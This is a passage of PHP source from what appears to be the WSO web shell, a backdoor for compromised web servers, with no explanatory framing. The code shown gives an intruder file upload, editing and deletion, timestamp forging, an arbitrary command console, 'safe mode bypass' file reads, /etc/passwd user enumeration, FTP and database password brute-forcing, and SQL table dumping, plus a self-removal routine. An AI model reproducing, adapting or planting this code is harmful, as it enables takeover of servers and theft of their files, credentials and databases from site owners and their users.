$_POST['a'] = 'FilesTools';
actionFilesTools(); exit; break;
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'rem':
remup(); break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.'/',$f, $d.$s.'/');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.'/',$f, $d.$s.'/');
}
} elseif(@is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)eval('return ZIPARCHIVE::CREATE;'))) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == 'checkbox')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link'));
elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 1;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</a></td><td>'.$f['owner'].'/'.$f['group'].'</td><td>'.$f['modify']
.'</a></td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo '</table><br>';
echo "
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='edit'>Edit</option><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
echo "<option value='paste'>Paste / zip</option>";
echo "</select> <input type='submit' value='>>'></form></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
}
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <br><span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <br><span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <br><span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <br><span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) ) {
$_POST['p2'] = 'view';
}
if($_POST['p2'] == 'view') {
if(preg_match('#\.php$#',@basename($_POST['p1']))) { $_POST['p2'] = 'highlight'; }
}
if( is_file($_POST['p1']) )
$m = array('View', 'highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color:white;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
exit;
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
wsoHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "document.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "document.mf.c.value='".$GLOBALS['cwd']."';";
}
}
echo "document.cf.output.value+='".$temp."';";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
echo '</form></div><script>document.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
die('bye!');
}
//Krist_ALL EDITION ICQ 106777
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_list_dbs($this->link);
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error($this->link);
break;
case 'pgsql':
return @pg_last_error($this->link);
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
echo $create[1].";
";
$this->query('SELECT * FROM `'.$table.'`');
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
}
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
ob_start("ob_gzhandler", 4096);
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
